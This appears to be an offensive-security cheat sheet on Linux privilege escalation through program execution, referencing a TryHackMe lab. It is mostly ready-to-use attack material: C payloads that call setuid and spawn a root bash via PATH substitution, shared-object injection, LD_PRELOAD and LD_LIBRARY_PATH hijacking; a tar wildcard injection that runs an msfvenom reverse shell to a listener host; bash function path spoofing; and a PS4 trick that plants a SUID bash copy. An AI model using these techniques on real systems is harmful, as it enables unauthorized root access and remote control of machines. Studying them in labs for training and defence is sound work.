Exploit Program Execution¶
Linux¶
Replacing an executale¶
In case you're able to substitute a appication (PATH environment variable, ..) either you create a shell script with a bash call that will be executed or you create a ELF binary because it's called by another application that doesn't support bash scripts.
Compile the following with gcc -o <path-to-file> spawn_shell.c
// spawn_shell.c
int main() {
setuid(0);
system("/bin/bash -p");
}
Then try to call the vulnerable program that calls your binary and a shell should appear.
Propably you should also modify the PATH variable so that your binary is preferred (PATH=.:$PATH <vulnerable-program>
).
Program Argument Injection¶
Programs use arguments so that the user can communicate his intent.
Let's take this execution:
cd /info
tar czf /tmp/backup.tar.gz *
tar
, as many other programs, can be used to execute another program during its execution.
Because tar is executed with a wildcard we can inject program arguments via the file system.
cd /info
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f elf -o shell.elf
chmod +x /info/shell.elf
touch /info/--checkpoint=1
touch /info/--checkpoint-action=exec=shell.elf
This is possible because filename rules in linux are very lax in contrast to windows.
Shared Object inection/loading¶
Find Shared Objects in program execution¶
Use strace application-to-run 2>&1 | grep -iE "open|access|no such file"
to get an idea what files are accessed.
Example output:
open("/usr/lib/libstdc++.so.6", O_RDONLY) = 3
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
open("/lib/libm.so.6", O_RDONLY) = 3
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
open("/lib/libgcc_s.so.1", O_RDONLY) = 3
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
open("/lib/libc.so.6", O_RDONLY) = 3
open("/home/user/.config/libcalc.so", O_RDONLY) = -1 ENOENT (No such file or directory)
You can try to overwrite or even create accessed *.so*
.
Compile the following with gcc -fPIC -shared -o <path-to-file-from-output> shared_object.c
// shared_object.c
#include <stdio.h>
#include <stdlib.h>
static void inject() __attribute__((constructor));
void inject() {
setuid(0);
system("/bin/bash -p");
}
Then execute the program again and a shell should appear.
Environment Variable Override¶
https://tryhackme.com/room/linuxprivesc -> Task 7: sudo - Environment Variables
The environment variable LD_PRELOAD
and LD_LIBRARY_PATH
can be used to influence how applications work and what they load.
LD_PRELOAD
loads a shared object before any others when a program is run.
LD_LIBRARY_PATH
provides a list of directories where shared libraries are searched for first.
To define the environment variables you can use KEY=value
and the run the application. This will define the variable for the shell session.
In the context of sudo
you can set variables via sudo KEY=value application-to-run
.
Spawn a shell with LD_PRELOAD¶
First find an application that has SUID set or is avaiblable via sudo -l
and env_keep+=LD_PRELOAD
.
Compile the following with gcc -fPIC -shared -nostartfiles -o /tmp/preload.so preload.c
// preload.c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setresuid(0,0,0);
system("/bin/bash -p");
}
Then run it with LD_PRELOAD=/tmp/preload.so; application-to-run
or sudo LD_PRELOAD=/tmp/preload.so application-to-tun
.
A shell should spawn if the conditions are right.
Spawning a shell with LD_LIBRARY_PATH¶
First search for shared libraries in an application with ldd application-to-run
, preferrable one with SUID bit set or abailable via sudo -l
and env_keep+=LD_LIBRARY_PATH
.
Examble output:
libpthread.so.0 => /lib/libpthread.so.0 (0x00007f0413188000)
libc.so.6 => /lib/libc.so.6 (0x00007f0412e1c000)
libuuid.so.1 => /lib/libuuid.so.1 (0x00007f0412c17000)
librt.so.1 => /lib/librt.so.1 (0x00007f0412a0f000)
libcrypt.so.1 => /lib/libcrypt.so.1 (0x00007f04127d
Choose one of the names and compile the following with the choosen name with gcc -fPIC -shared -o /tmp/<name-of-shared-lib> library_path.c
// library_path.c
#include <stdio.h>
#include <stdlib.h>
static void hijack() __attribute__((constructor));
void hijack() {
unsetenv("LD_LIBRARY_PATH");
setresuid(0,0,0);
system("/bin/bash -p");
}
Then run it with LD_LIBRARY_PATH=/tmp; application-to-run
or sudo LD_LIBRARY_PATH=/tmp application-to-tun
.
A shell should spawn if the conditions are right.
Functions named like paths¶
In bash < 4.2-048
a function can be defined to spoil absolute path binaries.
eg. a vulnerable application calls somewhere /usr/sbin/service apache2 start
.
To exploit that, run this commands:
function /usr/sbin/service { /bin/bash -p; }
export -f /usr/sbin/service
/<vulnerable-application>
A shell with the privileges of the vulnerable app should appear.
Exploit bash debugging¶
In bash < 4.4
an environment variable called PS4
is used to display an extra prompt during debugging.
Define a command sequence to copy the bash binary and set the suid bit on it in the name of the executable that has suid set.
env -i SHELLOPTS=xtrace PS4='$(cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash)' /<application-with-suid-set>
After that you can exit the application again and run /tmp/rootbash -p
to gain a root shell.